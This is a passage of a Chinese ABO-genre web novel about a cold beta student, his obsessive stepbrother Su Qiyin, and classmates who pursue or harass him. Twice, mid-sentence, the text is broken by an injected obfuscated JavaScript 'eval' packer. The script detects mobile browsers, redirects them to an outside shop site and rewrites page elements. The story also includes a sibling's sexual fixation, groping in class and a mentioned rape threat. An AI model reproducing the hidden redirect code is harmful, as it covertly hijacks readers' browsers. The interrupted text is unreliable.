看着哥哥的腿在他炙热且不加掩饰的目光下不自然地颤动了下,苏其饮眸里情绪一瞬翻涌不止,嘴上却是刻意做出的带着甜意的问话:“哥哥的腿怎么红了呀?” 闻言,简令祁舌尖轻轻抵了抵犬齿,对于这个问话的答案他有些难以启齿,但他常年都是一副冷淡神情,此时表情也状似如常,让人看不出他心里所想:“别转移话题,你为什么又不敲门就进来?” 明明是哥哥在转移话题。 苏其饮不太开心,同时还有丝极其隐秘的嫉妒自内心深处攀升上来,像是不透气的藤蔓般刹那间缠住他的心脏,心脏的正常跳动受到限制,于是更拼命地收缩,以至于他感觉自己现在的心跳不太对劲。 “我的手机落在这里了,我来拿手机。”苏其饮勾起一个乖巧的笑,缓缓走近,他在简令祁的面前停下,接着便直接俯下身子。 不知是有意还是无意,omega温热绵软的身体几乎都要压到他的身上,简令祁立刻感到不对劲,抬起手试图将他推开。 但下一秒,苏其饮的手勾到被子里的手机,迅速起了身,抬眸见到他作推阻状的手,露出疑惑不解的神情,天真的眉眼微扬:“怎么了吗?” 简令祁心里那点不对劲转瞬即逝。 苏其饮这时候的表现又很正常了。 苏其饮拿好了手机,离开房间前,视线再一次扫过哥哥不自然的并拢的腿,停留几秒,凝视的片刻内脑海中迅速浮现出刚刚看见的情景,呼吸紧促几分。 不说他也知道,肯定和那个姓越的脱不了干系。 垂在身旁的手下意识背至身后,一点点收紧合拢,指甲都快将掌心掐出血痕了,也迟迟不肯放松。 * 简令祁的生活千篇一律,并无多少趣味。奶奶的医药费沉重地压在他的身上,他根本没心情去发展些别的,放假后也基本没有别的社交活动。 由于已经在越青染那里睡过一觉了,于是夜里没睡太久,天刚亮时他就醒了。 起床后,他发现客厅没人,猜测苏其饮还在睡觉,也没敲门喊醒他,自己去了厨房。 生鸡蛋被敲在碗边上,极轻的清脆一声响后,蛋液顺着裂缝被倒进碗里。 他准备早上蒸个蛋吃。 刚把蛋清蛋黄搅拌均匀,他侧身打算加清水,便瞧见门口的身影。 简令祁下意识询问道:“吃蒸蛋吗?” 苏其饮立即露出一个极大的笑容,重重点头:“吃!” 他凑上前,在简令祁旁边转来转去,积极自荐:“我来帮哥哥打下手。” 简令祁被他挡住,脚步一顿,旋即动作干脆,毫不拖泥带水地绕过他,将蛋倒进蒸锅里,一边问道:“洗漱了吗?” “洗了!”苏其饮又几步将简令祁的路挡了个完全,眼睛亮亮地凑近,“哥哥你闻闻我,我很香的。” 简令祁顺着他的意揉揉他的头发,点了下头:“知道了,出去玩吧。” 苏其饮失落地瘪嘴:“真的不需要我吗?” 简令祁反问:“你是觉得我连蒸个蛋也需要别人帮忙?” 苏其饮摇头,一本正经夸道:“当然不是,哥哥特别会做饭!哥哥做的番茄炒蛋最好吃了!” 简令祁的眼皮跳了一下。 苏其饮提起这一茬后,早已预料到简令祁的反应,十分聪明地,人已经跑得没影了。 说起这个所谓的番茄炒蛋—— 简令祁曾经以为自己什么都能学会,直到他开始学着做饭。 家里只有奶奶一个成年人,承担了整个家庭责任的她每日早出晚归,简令祁全都看在眼里,自问自己也是一个成年灵魂了,便主动担负起做饭的任务。 照着网上的教程以及在奶奶的亲手指导之下,简令祁忙碌了好一阵最终也只熟练掌握了一个番茄炒蛋。 事实证明,他在做饭上的天赋点大概确实蛮低的,只学会了一些极其简单的菜式。 包括番茄炒蛋。 西红柿炒鸡蛋。 以及西红柿炒蛋。 …… 好吧。 他只学会了一道菜。 但一道菜也是菜,他也能承担起做饭的任务。 简令祁抿着唇,每天站到厨房里就开始认认真真兢兢业业做番茄炒蛋。 午饭晚饭端到餐桌上的都只有一个番茄炒蛋,偶尔也蒸个蛋当加餐。 他不是个很挑食的人,奶奶同样如此,于是就这样连续吃了一个月后,苏其饮突然告诉他,他学会做饭了。 苏其饮原话是这样的:“哥哥我来做饭吧,你休息一会儿……没事没事,你做了一个月了,已经很辛苦了。以后还是让我来吧。” 他刚听见时还有些惊奇,当苏其饮是真的突然变得懂事了。结果晚上和奶奶聊天时,才听见奶奶笑呵呵提起:“他连续吃了好几天番茄炒蛋后,吃得受不住了,央着我教他做饭,还不想叫你发现,怕你生气。” 她带着皱纹的眼弯起,褶皱密布的手轻轻地摸了摸简令祁的肩,温和的神情自然而然流露出一股平和的意味,“我们家小祁哪有那么容易生气。” 由于辛劳,她比同龄人看着更显老态。 简令祁唇角微扬起一个弧度,顺着奶奶的话轻轻“嗯”了声。 * 圣维埃的课业很重,吃完午饭后,简令祁便待在客厅里完成习题。 房间太小了,放不下一张书桌,他只能在客厅写。 苏其饮和他挤在这张小桌子上,面对面坐着,遇到难题了就咬笔头发呆。 这时候,如果简令祁注意到了,就会不轻不重提醒一句,苏其饮便乖乖松开牙齿,冲他笑,像是在表现自己有多听话。 苏其饮有意无意地抬头,盯着简令祁算完这套试卷的最后一道题了,立刻掐着这一时机问:“哥哥这周在学校有发生特别的事吗?” 简令祁换了红笔,一边校对答案,一边扼要回答:“没有。” 苏其饮不依不饶:“肯定是有的。”他缠着哥哥东扯西扯了好一会儿,终于说出心里真正关注的问题:“新室友怎么样?” 红笔尖稍稍停顿了下,简令祁回想起每日回宿舍后专心练题、做事认真的乔榆,又看向眼前这个与室友同样年纪的弟弟,不禁觉出些参差,抿了下唇:“挺好的。” 苏其饮听见这个回答,立马不说话了,嘴巴紧闭着,牙关被他死死咬住,敛下眸。 空气一瞬间沉默下来。 几秒后他再次抬眼,又调整好松快的语气:“挺好的?好在哪里呀?就相处了一周,哥哥怎么就给了这么高的评价?我都有点好奇了,真想见见这个人。” 他刻意让语气显得轻松,开口时却是止不住的酸气。 简令祁轻叹口气,不想回应他这种无聊的话。 在卷子上划下一杠后,开始订正错题,忽然想起个问题,抬起眼眸:“你的……情热期是不是快到了?” 关心的话语从他冷淡的嗓音中流露出来,“你现在住校了,我没办法一直看着你,你要记得随身备抑制剂。” 苏其饮双手并拢搭在桌上,脑袋埋在臂弯里,歪歪头,语气乖巧天真:“到了情热期,我就给哥哥打电话好不好。哥哥会来接我吗?” 简令祁看了他一眼:“我很忙。” 这就是不会的意思了。 苏其饮小声嘟囔:“哥哥一点也不关心我……万一哪天我情热期不小心被别人.艹了,哥哥也不会在乎吗?” “嘭!”硬质物体被狠狠砸在桌上。 苏其饮被惊得立即抬起头,方才积攒的怨气一扫而空,根本不敢再继续表露,整个人几乎快从凳子上弹起来了,一双圆眼睛惊惧地看着瞬间冷下脸的哥哥。 简令祁合上红笔的盖帽,掀起眸看着他,语调没有起伏:“你再说一遍?” “我、我乱说的。”苏其饮看着简令祁眼色,小心翼翼地坐回凳子上。 简令祁平静重复:“我让你再说一遍。” 苏其饮眼睫颤动了下,眼睛立刻蕴起泪花,委屈抽泣:“是上次有人这样威胁我,我就记着他说的话了。我、我好害怕……哥哥,我好害怕……我不想情热期的时候看不见你……” 简令祁不动声色观察着苏其饮的神情,伴随着男生小声抽泣的响动,他的声音却显得极其平静:“谁教你撒谎的?” “我没有在撒谎……” 苏其饮小步小步移到简令祁身边,接近时一把抱住他的腰,头顺势埋在他的颈窝,哭得身体一抽一抽地颤,“我说的是真的,我特别、特别害怕。他说我是omega,要把我……,还要、还要找别人来轮……” 简令祁掐住他的两颊制止他接下来要说的话,看着哭得不成样的弟弟骤然被掐得嘟起的嘴巴,长睫微垂。 另一只手微蜷了下,旋即有些僵硬地顺着弟弟哭得颤抖的脊背抚下,算是安抚。他问道:“谁对你说的这些话?” “我不知道我不知道。”苏其饮连连摇头,他抬起水汽弥漫的眼眸,突然声音一顿,视线紧紧盯着哥哥漂亮冷淡的脸,移不开地直勾勾注视着,搂着腰的手情不自禁更收紧了些。 好漂亮。哥哥好漂亮…… 好想亲上去。 如果亲上去了,哥哥会被他吓到吗? 苏其饮微微仰起脸庞,拽着哥哥的衣服,不动声色地刻意凑近他脖颈那一片的皮肤,呼出的热气缓慢打在羊脂玉一样的细腻肌肤上,仿佛下一秒就要吮住那片肌肤狠狠研磨了。 简令祁见他声音滞住,半晌没动静,不知道是不是苏其饮过于害怕了,声线尽力放得柔和了些,让自己的问话不至于显得像是质问:“为什么不知道?” 苏其饮骤然回神,看着近在咫尺的雪白皮.肉咽了咽口水,半晌终于找回声音:“对、对不起哥哥……我太害怕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213593|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我都不敢抬头看他……我被吓到了。” 他的声音有种惊魂未定的颤抖,但若是简令祁能看见他的脸,就会发现他脸上一丝害怕的神态都没有,反而痴迷地嗅着哥哥身上的味道,嘴巴都快要将白皙皮肉含住疯狂磨.吮。 他有些遗憾地想,如果哥哥不是beta就好了。 他是真的很想知道,像哥哥这样淡漠到似乎毫无欲.望的人,能够抵抗ao信息素之间的生理性吸引吗? 如果哥哥是alpha,会不会被他的信息素勾出易感期,会不会受信息素影响和他这个名义上的弟弟,做出些出格的事…… 如果哥哥是omega也很好,他学东西很快,也会努力找到很多视频学习,尽全力让哥哥舒服的。 苏其饮蹭了蹭简令祁的衣领,几乎想将整个人贴上去。 但很快就被简令祁拎开了。 “去洗脸,”简令祁低头看了眼自己被眼泪打湿的衣领,准备先去房间里换身衣服。起身时淡声叮嘱道,“下次谁还敢对你说这样的话,记住他的脸和名字,回来告诉我,知道了吗?” 换做平常他当然不可能听不出苏其饮是在撒谎,但这是他第一次从弟弟口中听见这样粗俗的字眼,愕然的情绪占了上风,腾不出心思去想别的,自然觉得是有人故意带坏了自己这么多年来虽然有点小任性但总体上还算听话的弟弟。 简令祁突然发觉,苏其饮和他不同。 苏其饮自幼就生活在这个环境糟糕的老式居民楼里,即便没有刻意去听去看,估计也在耳濡目染中记住了些不干不净的话,有样学样,可能很早以前就被带偏了,以至于现在都敢在他面前说这样的话了。 简令祁指腹不轻不重按压着太阳穴,将其归结于自己的教育问题,开口强调道:“还有,少和不三不四的人来往,遇到不能解决的事情了,就告诉我。” 苏其饮乖巧点头,哭过的眼睛还红通通的:“我知道了。” 可是哥哥是beta。 对他不假辞色,也无动于衷。 洗手台前。 流动的水“哗啦啦”地自水龙头中流到池子里。 清水被手截断,旋即猛猛拍打在脸上。 镜子里倒映出男生抬头时一张标准的乖巧系长相的脸,眼睛圆圆的,笑起来眼睛便弯成月牙状,糖精味极重的棉花糖气味自他身上蔓延开来,一看便是一个极其符合社会认知上omega形象的男生。 但他的五官此刻却有些扭曲地皱起,阴沉沉的眼神与秀气长相极为不符。 半晌,他唇角扯起,露出一抹练习了许久,于是显得格外自然甜美的笑。 他惹得哥哥生气了…… 镜子里那张脸上的笑容越来越大,夸张到了有些渗人的地步。 哥哥好在意他……!不然哥哥怎么不对别人生气只对自己生气? “哥哥……”他张了张唇,暧昧地吐出不清不楚的两个字,带着浓得腻人的依赖与爱慕。 * 桌上摆着切好后精致摆盘的水果。 苏其饮拿牙签扎了块苹果,手隔了点距离接在苹果下面,放到简令祁嘴边,热情推荐:“好吃,哥哥也尝尝。” 简令祁正看着手机,群里发了个文件,他点开看,发现是这学期的学生会工作安排。 听见苏其饮的声音,他下意识张开嘴、咬住。 但咬住之后才注意到苏其饮喂给他的这块苹果挺大块的,不是一口能咽下的那种。 他只咬住了个边,含着摇摇欲坠的苹果,有些茫然地眨眨眼,看向旁边给他递水果的苏其饮。 他在家里穿着宽松的棉质睡衣,由于刚洗完澡,一头黑发还残余着温热水汽,些许湿润的碎发随意散在额前,削减了平日里那几分拒人于千里外的疏离感,反而显出了几分好接近的柔和。 “太大块了是吗?”苏其饮表情也很无辜,撑住沙发凑近观察,接着得出结论,“是哥哥的嘴巴太小了。” 他靠得近到仿佛是要咬过苹果的另一边,说话时语气像是有点惋惜,但神情正直得不像话,仿佛没有一点旖旎心思。 “咔。” 简令祁冷漠地咬断,手拿住剩下大半截,移开视线一口一口咬下,手指随意划着屏幕,找着自己的负责任务。 苏其饮也不觉尴尬,很自然地起了新的话题:“哦对了,奶奶问你什么时候去看她。” 他抬眼一眨不眨注视着简令祁,不放弃他脸上一丁点的神色变化。 空气凝滞几秒后,简令祁平静开口:“有时间就去。” 苏其饮唇角漾着笑意,状似不经意提起:“你们上次是吵架了吗?” 简令祁划屏幕的手指一滞,没说话。 苏其饮不肯放弃,接着追问:“怎么感觉奶奶生病之后,你们反而开始三天两头地吵架了,还都瞒着我不让我知道……是什么事会让你们吵起来啊?” 他问完后,空气又恢复了安静。 莫名凝重的氛围下,简令祁突然抬起眸,浓密的睫毛微压,眸色显得极为冷淡,看着苏其饮的眼睛说:“你想知道吗?” 不知为何,苏其饮突然生出种心悸感。 被那双浅色眼睛径直盯着,连脸上的笑都快要装不下去。他深吸了口气,语气镇定轻松:“如果哥哥不想说的话,我也可以不知道的。” 说完这句话,他就闭上了嘴,口腔内里的软肉被他死死咬住,心脏不自觉地乱跳,仿佛是等待刽子手最后一刀落下的囚徒。 简令祁咽下最后一块苹果,很随意的语气:“你想知道,我可以告诉你。” 好像是在询问他的意见。 但苏其饮知道,不是的。 他了解哥哥比了解自己还要多,自然知道这句话的另一层意思。 他和奶奶吵架的原因,一定和他有关…… 想清楚过后,苏其饮又重新挂上笑容:“哥哥,你是不是都知道了。” 简令祁不为所动:“知道什么?” 苏其饮调整了姿势,双膝并拢在沙发上,低着头一副老实认错的态度:“我……血缘关系上的父亲,他确实来找我了,但是我没有想故意瞒着你的意思……” “我只是不想让哥哥那么辛苦,所以他说要补偿我的时候,我就找他要了点钱。但是、但是我真的没有别的意思!” “我真的不是拎不清的人……” “钱的事不用你担心,我能解决,”简令祁腾出只手随意地搭在他的肩膀上,像给宠物顺毛似的摸了摸,但他甚至连眼神都没有投去一个,“你少和云家的人扯上关系。” “我知道了。”苏其饮弯着眼甜甜笑着,双手握住肩膀上的那只手,脸贴在掌心,很乖顺地蹭了蹭。 13. 第 13 章 周末时间向来过得极快,临走前,即便知道苏其饮的秉性,简令祁还是有点不放心,认真叮嘱着苏其饮别在学校被别人欺负了。 这应该算是第二次分开整整一周,他却显得比一开始更忧虑些,大概是因为从弟弟的口中听见的不干不净的字眼,让他突觉苏其饮还是个极易被影响的心智不成熟的小孩。 专门用来支付医疗费的那张卡里多出来的那笔钱简令祁重新又转回给了苏其饮,让他自己合理安排,不用焦虑奶奶的治疗费用的事。 就像大部分学校一样,圣维埃也将返校日定在了周日下午。 简令祁回到寝室和室友打了个照面,闲聊的话可以说是一个字没有,他似乎没看见乔榆欲言又止的神情,完全沉浸于自己的事情当中了。 夜里入睡时,陷在柔软的床铺上,简令祁心中感叹,圣维埃的床真的是比家里的要舒适很多。 他很安心地一觉睡到天明。 这座城市天黑得早,同样天亮得也早。 清晨的一缕阳光透过窗户打在干净的瓷砖地板上,收拾好书本的乔榆紧张抿唇,看向同样收拾齐整了的简令祁,深吸一口气,一鼓作气道:“要不要一起去教学区?” 一周了。 整整一周。这是他对简令祁说的字数最多的一次话。迈开了第一步就意味着以后迈的步子更多更大。 乔榆对自己“和新室友交朋友”的计划抱着极其光明的愿景。 然而下一秒新室友的拒绝就打消了他的隐隐增长的希冀。 “抱歉,我还有别的事,”简令祁淡声拒绝,指了指自己肩上写着风纪委员四个字的金色徽章,“学生会的职责,要在校门前守着。” 乔榆失落地垂下头,旋即又仰脸笑起来,毫无阴霾地朝他挥手:“那我先走啦,晚上见。” 没事没事,这次是有未预见的特殊情况,下次!下次一定可以成功! “嗯,晚上见。”简令祁很礼貌地回应道。 他背着书包出了宿舍楼,透过薄雾的浅光斜照在他身上,似乎是对他格外偏爱。出宿舍后他就扫了辆单车骑去校门口,到达后将书包放在了指定区域,拿出本子和笔,这才转身走到西墙附近。 学生会这学期分配给他的任务就是早上守在西墙,防止有学生违反校规翻墙进来。同样和他负责此项任务的还有另外两名学生会成员,他们三人一人一周轮着来。 还没走到,简令祁就已经远远瞧见西墙前排了一长串的人。 简令祁:“?” 值班表不是这两天才排好的吗?这才第一天……谁又把值班表泄露出去了……? 简令祁抿了抿唇,脚步一顿,犹豫片刻后方才走近。 那热热闹闹的一行人看见他来了,一个个也不交头接耳了,个个都挺直了背睁大了眼盯住他。 简直比上课还要专注热情好几倍。 简令祁站定后,迎着那一行人灼热的视线抬起眸,一时间连清凌凌的嗓音都下意识卡顿了一秒:“……你们来这儿有事吗?” 整整齐齐排好队的学生对视一眼,接着便不约而同开了口。声音嘈杂无比,各说各的毫不相容。 “我是翻墙进来的!” “我也是我也是。” “我翻墙了!简令祁!我翻墙了!你听见了吗?我说我翻墙了!” 或大或小的声音连环在耳边响起,简令祁感觉有点不适应,忍不住稍微后退一步。 “我违反校规了,记我名字吧。” “还有我的!我叫李……” “我我我!我叫林由,也是三年生,和你同届!花……简令祁!”他急忙将差点脱口而出的花花两个字咽了进去。 …… 简令祁:“……” 他眼皮颤了一下。 都有病吗? 他不自觉又抿起唇,粉色唇瓣自然而然浸上艳色。 似乎没有注意到排成一行的人个个都探出头来盯着他,开口时他的声音已经恢复平静,像是对这种场景毫不慌张习以为常似的:“排好队,报一下姓名学号。” 他翻开本子,一手掌住本子,另一只手握笔写字。从本子边上露出来的手指纤细修长,指甲修剪齐整,泛着淡淡的健康的粉。 “我叫林由……” 林由看着自己的名字和学号被那只漂亮纤细的手不紧不慢记录在了本子上,不知为何,一股又一股热气往身上钻,红着脸拿出自己口袋里的小本子,递上前去,“可以在这上面也写一下我的名字吗?” 他半垂着头,脸红得欲滴血,但即便如此,口中还能清晰表达自己的述求:“如果可以的话,再写一个‘天天开心’,或者‘学业进步’也可以……” 他这一系列动作行云流水,明显就是蓄谋已久来的。 站在他身后的人从未想过还有这种方式,瞪大了眼睛,暗暗思忖着待会儿也照着做。 简令祁扫了他一眼,没多停留就看向他身后,口中婉拒:“不能。下一个。” 咔嚓。 身后那人探了探头,找是哪处发出的声音,视线一定,看见林由手里的本子被他直接掰成了两半。 alpha普遍就像患有暴躁症的患者,稍有不顺就靠破坏外物来纾解心情。 探出头那人瞬间眉头一拧,浑身肌肉一紧,担心林由会因为被骤然拒绝,一时冲动奋起伤害他们共同的暗恋对象,于是戒备地盯住他。 林由像是发觉了他的警惕,侧过身看他一眼,声音无力:“别紧张,是我心碎的声音。” 平平无奇的心碎罢了。 他的视线重又回到简令祁无动于衷的脸上,轻叹了口气,又暗暗给自己打气。 没事的!下次再问一遍就好了。不是有句俗语吗?只要功夫深铁杵磨成针! * 时楸亦下了私家车后一看腕表,果不其然迟到了。 不就是迟到吗? 他轻易地接受了自己迟到的事实,虽然去国外交换了一年,但从前没少迟到的他对此毕竟还是很有经验,于是决定按惯例翻墙进去。 一整面墙学生会向来只派出一人负责,以他高超的翻墙能力,一点声响没有就翻过去了,根本不会引起任何人的注意。 他懒散地背着包,不紧不慢踱步到西墙附近,忽觉今日耳边的喧嚣声有些大,环视一圈后,发现周围的人还挺多。 奇怪。西墙这边不是一向很少人来吗? 现在迟到的人都这么多了吗?还这么嚣张? 他本能觉出点不对劲,但经年累月养出的经验之谈还是战胜了这点警觉。 他向后退了两步,接着脚下一蹬飞快冲了出去,鞋使劲踩在墙上,左手在顶上撑住借力,一个极其帅气的转身,落地。 随着踩地的动作,书包也稳稳垂落在肩上。 一头嚣张的白发坠下来,他随意抓了抓,将乱掉的发型简单整理了下。 很好,非常完美的一次翻墙。 他慢条斯理地整理着制服袖口,一边转过身去,刚一抬头就看见一行人整整齐齐地看着自己。 时楸亦眼睛微微睁大:“。” 时楸亦:“?” 什么情况? 本以为极其隐蔽的翻墙,如今却突然之间暴露在众人视野之中,饶是他这样一贯厚脸皮的人,一时也不免失去了表情管理。 他随意扭过头,往队伍最前方眺去。 简令祁正垂着眸记名字,像固定npc发布指令一样,对不同的人重复着说:“姓名,学号。” 不过他可没见过长得这么漂亮的npc。 时楸亦扬眉笑了一下,并不多作留念地收回视线,准备装作路过,趁机溜走。 “翻墙进来的那位,”简令祁头也没抬,准确点出,“我允许你走了吗?” 他刚刚还在心里腹诽的“npc”这下总算换了句话说,只不过这话他就不爱听了。 他慢悠悠转回身,笑眯眯挑眉:“这么多人排队等着你呢,还差我一个?” 话说的不清不楚,若是换个语境让别的人听了,定会在瞬间思维发散遥远,幻想出个不可告人的暧昧情景。 简令祁凝视他几秒,一句话没回,垂下眸就开始在本子上写些什么。 时楸亦察觉到不对,脸上笑容一僵,几步跨上前探出头去看。 “时楸亦,翻墙……不配合学生会工作……” 时楸亦将上面的内容念了出来,刚想继续读下去,本子就被“啪”的一声合上了。 他微微张大嘴巴,震惊地看向简令祁,不敢相信自己就这么轻易地被记下了名字。 一句也说不得吗? “不是、我……”时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213594|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楸亦唇线抿成一条直线,试图作出解释补救一下。 但他眉骨较高,轮廓有点偏西方的立体,沉下脸时显得压迫感很强,背光挡在简令祁面前时,笼罩下一片阴影。 不像是来和别人好好商量的样子。 和简令祁不一样,他身上的肌肉是常年泡健身房锻炼出来的,被裹在衣服之下,将合身的制服撑得饱满,把清一色的制服穿出了种别样的质感。 简令祁掀起眼眸直视着他,五官漂亮到即便时楸亦此刻是在生气,也在不经意间被那张脸晃了下神。 但他只看了时楸亦一眼,便很不在意地移开视线,淡声提醒了一句:“不要妨碍我的工作。” 他懒得和这人废话,那天酒韵的事他还记着,倒也没忘记是时楸亦先起的头。 见时楸亦一动不动地继续挡着,他直接伸手将挡在自己面前的人推开,再抬眸时,淡漠的眼神落在下一个人身上,语气如常:“姓名,学号。” 排队那人看了被推开的时楸亦一眼,扫过他压着的眉眼,暗暗唏嘘一声,视线回到简令祁时又迅速变为极其兴奋且羞涩的小表情。 扭捏地小步上前,像是第一次直面暗恋对象的青涩的毛头小子,但也知道机会来之不易,于是口齿清晰地报出自己的姓名学号。 报完后,他用眼神仔细描摹着面前人的垂下的眉眼,不舍地慢吞吞往教学区挪去,还没等他视线完全挪开,就被人一把揽住脖子。 卡得他禁不住咳嗽两声,憋红了脸看向勒他脖子的人。 不是哥们,他不就是被记了个名字吗?至于嫉妒得当着人面就来谋杀他吗? 时楸亦像是才意识到自己手劲过大,适时松了力,后撤一步。 他远远看了眼正认真做本职工作的简令祁,又低头看着被他薅来的路人,拉家常般问道:“今天怎么这么多人?” 路人beta看着眼前传闻中的F1,先前目睹他与简令祁无声但激烈的争吵,瞬间压力倍增,顿时脑补了一大出这样那样再这样的剧情。 抬头时,谨慎再谨慎地斟酌语言:“因为这周是他值周。” 他? 哦。简令祁啊。 时楸亦挑了下眉,笑眯眯问:“你这么关注他……” 路人一瞬间汗毛耸立,莫名嗅出了危险的气息,下意识后退半步,自以为自己猜对了这二人之间的关系。 果然是为了花花来的吧……故意引起花花的注意,结果毫无成效,现在恼羞成怒了?抓他这个路人来泄愤? 他疑似丧失所有力气,安详地闭了闭眼,心想,明天再来的时候得避着点F1才是。 “那你知道怎么消除他那本子上的违纪记录吗?” “啊……啊??”路人猛地抬头。 竟然不是放狠话威胁他离花花远点吗? 他半晌没响应,直到时楸亦的耐心即将殆尽,本就凶戾的眉眼越发下压,他才忽的反应过来,结巴回答道:“没、没办法。” 说着说着,他垂下眸,脸上不禁泛起几分薄红,像是面向外人时发自内心的夸耀:“你刚回来可能不知道……花花他向来都最是公平的,对所有人一视同仁,特别特别特别公正!” 随着他的话,时楸亦脸色微沉,但旋即又因他口中称呼一愣,好奇地重复一遍:“花花?” 路人见自己嘴一咕噜,竟然把私下里喊的称呼都抖落出来了,立马闭了嘴,边往后退边讪讪道:“时、时哥,我能走了吗?” “……” 时楸亦还没回应,就看见这位路人beta已经离自己几米远了,不禁挑了下眉,随意点了点头。 他有这么吓人吗? 明明也没有在恐吓谁啊。 他耸了耸肩后,眼睫垂下,抱臂思考着。 啧,真烦啊。怎么才能让这人把他的违纪给消了? 这才刚回国,就被简令祁逮住不止一次,违纪记录累了一大串,要是月底上报学校,他家里知道之后绝对又得停他的卡。 得想个办法…… 时楸亦顶了顶腮,思索的目光停落在认真工作的简令祁身上。 从这个位置,他只能看见那人漆黑头发覆盖着的后脑勺。即便是在低头写字的时候,背也挺得很直,身形单薄清瘦。 他被晃了下神。 别说。还真挺漂亮的。 14.第 14 章 三年五班教室。 早自习已经结束了,简令祁也是这时候回到教室的。 他放下书包后,抬眼扫过大摇大摆坐上自己同桌位置的云栎,微拧了下眉,眼神明明白白写着“我同桌怎么变成你了”。 云栎随意地扯了下嘴角,后背靠在椅背上,手嚣张地搭上桌子,指尖搁在简令祁的桌上,一双眼微眯着锁住面前的人。 这是一个很明显的入侵姿势。 “手拿回去。” 简令祁一边把书本文具都拿出,在桌上一一摆好,一边提醒道。 这一切做完后,云栎还像没听见似的没收手,甚至还很挑衅地朝他扬了下眉。 简令祁眼睫微抬,食指勾过圆规握住,往上抬了抬,就着尖头那一边朝下,细微地调整了下位置,即刻间不留余力朝下扎去。 正对着的就是云栎的手背! 即便是在做这样攻击性极强的事,他表情也一变不变,微卷的长睫垂下,挡住了眸子,显出几分柔软,手下动作却是与之全然相反的狠劲。 “嘭——” 尖头直直戳在桌上,再被拔出,留下一个明显的小圆点,不偏不倚刚好是方才云栎的手放着的位置。 “你来真的?”云栎磨了磨牙,忍不住看了眼自己尚还完好的手。 要不是他反应及时躲得快,那圆规就已经扎进他的肉里了。这个力度,还真是…… 劫后逃生让他未免生出点后怕,但同时唇角笑容更深,仿佛是什么隐藏极深的受虐.爱好者,他甚至有些兴奋地抵了抵牙,半眯着眼:“好凶啊,我都害怕了。” 边说,他懒散的视线边随意朝四周扫去,带着某种动物性的圈地盘一般的浓重占有欲,方才因这边动静不由自主转过头看的人在接收到这样无声的威胁后又迅速把头转了回去。 简令祁没理他,低着头专心打量自己的圆规有没有受损,端详了一整圈,又摆弄了下针尖那头,他松了口气,还好,没有太歪也没有松动,不用换个新的。 “我说——”云栎狠狠皱着眉头,坐直身撑着头,偏头看他,“你怎么总对我爱答不理的?” 云栎不喜欢被他冷脸忽视的感觉,动用了点特殊手段换成他的同桌,也不是为了过来看他这幅无动于衷的表情的。 简令祁勉强给了他一个眼神,直白道:“你知不知道你很烦啊。” 云栎微愣了下,旋即不以为耻反以为荣地轻声笑起来。 简令祁唇线抿直。 ……他就知道。 过了会儿,简令祁还是没忍住问道:“你什么时候换回去?” 老师在上面讲课,他压低了声音小声问。 “这么不乐意见到我?”云栎故作委屈地叹了口气,眸里却是闪烁的笑,“拜托,我对你这么真心,你就一点也看不到吗?” 他一只手将书立起象征性遮了遮,另一只手自然而然地搭上简令祁大腿,手指缓慢移动着往上,动作轻得像羽毛,连绵不断地隔着制服黑裤扫过。 被触碰的地方不自禁泛起酥酥麻麻的痒意, 下一秒就被简令祁冷着脸打下。 手毫不留情打在手背上,发出清脆一声响,手背瞬间红了一片。 简令祁紧拧着眉,暗暗咬了咬牙,简直不知道用什么语言来形容云栎这种行为…… 他越想越烦躁,又补了一脚踹在云栎小腿上。 云栎疼得下意识嘶了一声,他这一踹可没留几分情面,硬生生把左腿踢得暂时性失去了挪动的力气,痛意自小腿荡开,但他嘴角笑容更甚,脸也朝旁边凑近了几分,张了张嘴,但声音很小,很难听清他在说什么。 但简令祁听清了。 他秀气的眉毛拧得更深,别过头紧紧抿起唇,不想再搭理旁边那人,精致玉器般莹白的耳垂泛上点难掩的红。 讲台上的年轻老师被底下的响动吸引,停了讲课动作,朝这边看过来,一见是简令祁和云栎这一桌闹出来的动静,顿时心里明了。 简令祁是什么样的性子他还能不知道吗? 除了云栎主动惹事以外难道还有别的可能存在吗? 他朝简令祁温和地笑了笑,没有追究的意思,反而有种安抚的意味在其中。 但简令祁主动举了手:“抱歉林老师,我站后面去吧。” 他抬起头,乌黑长睫下的那双眼睛看上去水光粼粼的,像是无助下不得不向别人寻求帮助的漂亮灵鹿。 林析的声音有一秒的卡顿,找回自己的嗓音后本想说不用,但对上简令祁的眼神时,口中的话转了个弯,明白了他的意思,语气温和:“后面有闲置的桌椅,不介意的话,这节课可以先用着。” 他重新转向黑板,恢复到方才的状态,“我们继续讲,刚刚说到了通过正反交实验确定该基因是否在常染色体上……” 教室后面多出的的那套桌椅是因为前两年有人退学了,于是闲置了下来。 简令祁收拾了下了这节课讲的试卷和今天需要完成的作业,叠在一起薄薄一层,就这样去了后排。 云栎吊儿郎当的神情一瞬间散尽,眼睛瞪大,像是完全没想到还有这种操作,慌忙伸手扯了下他但没扯住。 简令祁终于显出点不耐烦,抬手不留情地再次把他的手拍了下去。 云栎眼睁睁看着简令祁去了后排的那个单独座位,转回头立马举手道:“我也要去后面。” 林析讲课的节奏再次被打断,捏了捏鼻梁,无奈应道:“那你站到后门那里去。” 云栎反问:“凭什么?” 简令祁坐的是靠窗那边,他要是站到了后门,那不是离得更远了吗? 